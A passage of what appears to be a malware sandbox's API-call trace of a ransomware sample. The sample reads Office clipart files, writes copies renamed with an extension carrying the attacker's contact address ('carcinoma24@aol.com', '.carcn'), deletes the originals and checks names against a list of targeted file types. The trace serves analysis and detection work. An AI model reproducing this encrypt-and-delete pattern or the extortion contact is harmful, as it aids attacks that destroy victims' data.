Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0256.871] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.871] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0256.872] GetLastError () returned 0x0 [0256.872] ReadFile (in: hFile=0x414, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x33c6, lpOverlapped=0x0) returned 1 [0257.063] WriteFile (in: hFile=0x498, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x33d0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x33d0, lpOverlapped=0x0) returned 1 [0257.065] ReadFile (in: hFile=0x414, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0257.065] WriteFile (in: hFile=0x498, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0257.065] SetEndOfFile (hFile=0x498) returned 1 [0257.065] CloseHandle (hObject=0x498) returned 1 [0257.068] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.068] SetEndOfFile (hFile=0x414) returned 1 [0257.300] CloseHandle (hObject=0x414) returned 1 [0257.300] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0257.301] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif")) returned 1 [0257.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0257.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0257.302] lstrlenW (lpString=".doc") returned 4 [0257.302] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0257.302] lstrlenW (lpString=".docx") returned 5 [0257.302] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0257.302] lstrlenW (lpString=".pdf") returned 4 [0257.302] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0257.302] lstrlenW (lpString=".xls") returned 4 [0257.302] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0257.302] lstrlenW (lpString=".xlsx") returned 5 [0257.302] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0257.302] lstrlenW (lpString=".ppt") returned 4 [0257.302] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0257.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0257.302] lstrlenW (lpString=".zip") returned 4 [0257.302] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0257.302] lstrlenW (lpString=".rar") returned 4 [0257.302] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0257.302] lstrlenW (lpString=".bz2") returned 4 [0257.302] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0257.302] lstrlenW (lpString=".7z") returned 3 [0257.302] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0257.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0257.302] lstrlenW (lpString=".dbf") returned 4 [0257.302] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0257.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0257.303] lstrlenW (lpString=".1cd") returned 4 [0257.303] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0257.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0257.303] lstrlenW (lpString=".jpg") returned 4 [0257.303] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0257.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0257.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0257.303] lstrlenW (lpString=".doc") returned 4 [0257.303] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0257.303] lstrlenW (lpString=".docx") returned 5 [0257.303] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0257.303] lstrlenW (lpString=".pdf") returned 4 [0257.303] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0257.303] lstrlenW (lpString=".xls") returned 4 [0257.303] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0257.303] lstrlenW (lpString=".xlsx") returned 5 [0257.303] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0257.303] lstrlenW (lpString=".ppt") returned 4 [0257.303] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0257.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0257.303] lstrlenW (lpString=".zip") returned 4 [0257.303] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0257.303] lstrlenW (lpString=".rar") returned 4 [0257.303] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0257.303] lstrlenW (lpString=".bz2") returned 4 [0257.303] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0257.303] lstrlenW (lpString=".7z") returned 3 [0257.303] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0257.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0257.304] lstrlenW (lpString=".dbf") returned 4 [0257.304] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0257.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0257.304] lstrlenW (lpString=".1cd") returned 4 [0257.304] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0257.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0257.304] lstrlenW (lpString=".jpg") returned 4 [0257.304] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0257.304] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0257.304] lstrlenW (lpString="AG00175_.GIF") returned 12 [0257.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0257.305] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=3378) returned 1 [0257.305] CloseHandle (hObject=0x414) returned 1 [0257.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif")) returned 0x220 [0257.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0257.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0257.306] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.306] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440 [0257.307] GetLastError () returned 0x0 [0257.307] ReadFile (in: hFile=0x414, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0xd32, lpOverlapped=0x0) returned 1 [0257.397] WriteFile (in: hFile=0x440, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xd40, lpOverlapped=0x0) returned 1 [0257.399] ReadFile (in: hFile=0x414, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0257.399] WriteFile (in: hFile=0x440, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0257.399] SetEndOfFile (hFile=0x440) returned 1 [0257.399] CloseHandle (hObject=0x440) returned 1 [0257.400] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.400] SetEndOfFile (hFile=0x414) returned 1 [0257.403] CloseHandle (hObject=0x414) returned 1 [0257.403] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0257.855] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif")) returned 1 [0257.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0257.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0257.856] lstrlenW (lpString=".doc") returned 4 [0257.856] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0257.856] lstrlenW (lpString=".docx") returned 5 [0257.856] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0257.856] lstrlenW (lpString=".pdf") returned 4 [0257.856] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0257.856] lstrlenW (lpString=".xls") returned 4 [0257.856] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0257.856] lstrlenW (lpString=".xlsx") returned 5 [0257.856] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0257.856] lstrlenW (lpString=".ppt") returned 4 [0257.856] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0257.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0257.856] lstrlenW (lpString=".zip") returned 4 [0257.856] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0257.856] lstrlenW (lpString=".rar") returned 4 [0257.856] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0257.856] lstrlenW (lpString=".bz2") returned 4 [0257.856] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0257.856] lstrlenW (lpString=".7z") returned 3 [0257.856] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0257.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0257.856] lstrlenW (lpString=".dbf") returned 4 [0257.856] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0257.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0257.856] lstrlenW (lpString=".1cd") returned 4 [0257.857] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0257.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0257.857] lstrlenW (lpString=".jpg") returned 4 [0257.857] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0257.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0257.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0257.857] lstrlenW (lpString=".doc") returned 4 [0257.857] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0257.857] lstrlenW (lpString=".docx") returned 5 [0257.857] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0257.857] lstrlenW (lpString=".pdf") returned 4 [0257.857] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0257.857] lstrlenW (lpString=".xls") returned 4 [0257.857] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0257.857] lstrlenW (lpString=".xlsx") returned 5 [0257.857] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0257.857] lstrlenW (lpString=".ppt") returned 4 [0257.857] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0257.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0257.857] lstrlenW (lpString=".zip") returned 4 [0257.874] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0257.874] lstrlenW (lpString=".rar") returned 4 [0257.874] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0257.874] lstrlenW (lpString=".bz2") returned 4 [0257.874] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0257.874] lstrlenW (lpString=".7z") returned 3 [0257.874] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0257.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0257.874] lstrlenW (lpString=".dbf") returned 4 [0257.874] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0257.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0257.875] lstrlenW (lpString=".1cd") returned 4 [0257.875] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0257.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0257.875] lstrlenW (lpString=".jpg") returned 4 [0257.875] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0257.875] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0257.875] lstrlenW (lpString="AN00015_.WMF") returned 12 [0257.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0258.055] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=4734) returned 1 [0258.055] CloseHandle (hObject=0x33c) returned 1 [0258.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf")) returned 0x220 [0258.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0260.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0261.875] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.875] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0261.877] GetLastError () returned 0x0 [0261.877] ReadFile (in: hFile=0x53c, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x127e, lpOverlapped=0x0) returned 1 [0261.927] WriteFile (in: hFile=0x540, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x1280, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x1280, lpOverlapped=0x0) returned 1 [0261.928] ReadFile (in: hFile=0x53c, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0261.928] WriteFile (in: hFile=0x540, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0261.928] SetEndOfFile (hFile=0x540) returned 1 [0261.928] CloseHandle (hObject=0x540) returned 1 [0261.932] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.932] SetEndOfFile (hFile=0x53c) returned 1 [0261.934] CloseHandle (hObject=0x53c) returned 1 [0261.934] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0262.141] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf")) returned 1 [0262.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0262.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0262.141] lstrlenW (lpString=".doc") returned 4 [0262.141] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.141] lstrlenW (lpString=".docx") returned 5 [0262.141] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.141] lstrlenW (lpString=".pdf") returned 4 [0262.142] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.142] lstrlenW (lpString=".xls") returned 4 [0262.142] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.142] lstrlenW (lpString=".xlsx") returned 5 [0262.142] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.142] lstrlenW (lpString=".ppt") returned 4 [0262.142] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0262.142] lstrlenW (lpString=".zip") returned 4 [0262.142] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.142] lstrlenW (lpString=".rar") returned 4 [0262.142] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.142] lstrlenW (lpString=".bz2") returned 4 [0262.142] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.142] lstrlenW (lpString=".7z") returned 3 [0262.142] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0262.142] lstrlenW (lpString=".dbf") returned 4 [0262.142] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0262.142] lstrlenW (lpString=".1cd") returned 4 [0262.142] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0262.142] lstrlenW (lpString=".jpg") returned 4 [0262.142] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0262.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0262.142] lstrlenW (lpString=".doc") returned 4 [0262.142] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.142] lstrlenW (lpString=".docx") returned 5 [0262.143] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.143] lstrlenW (lpString=".pdf") returned 4 [0262.143] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.143] lstrlenW (lpString=".xls") returned 4 [0262.143] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.143] lstrlenW (lpString=".xlsx") returned 5 [0262.143] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.143] lstrlenW (lpString=".ppt") returned 4 [0262.143] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0262.143] lstrlenW (lpString=".zip") returned 4 [0262.143] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.143] lstrlenW (lpString=".rar") returned 4 [0262.143] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.143] lstrlenW (lpString=".bz2") returned 4 [0262.143] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.143] lstrlenW (lpString=".7z") returned 3 [0262.143] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0262.143] lstrlenW (lpString=".dbf") returned 4 [0262.143] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0262.143] lstrlenW (lpString=".1cd") returned 4 [0262.143] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0262.143] lstrlenW (lpString=".jpg") returned 4 [0262.143] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.144] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0262.144] lstrlenW (lpString="AN01251_.WMF") returned 12 [0262.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0262.144] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=2756) returned 1 [0262.144] CloseHandle (hObject=0x550) returned 1 [0262.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf")) returned 0x220 [0262.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0262.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0262.145] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, 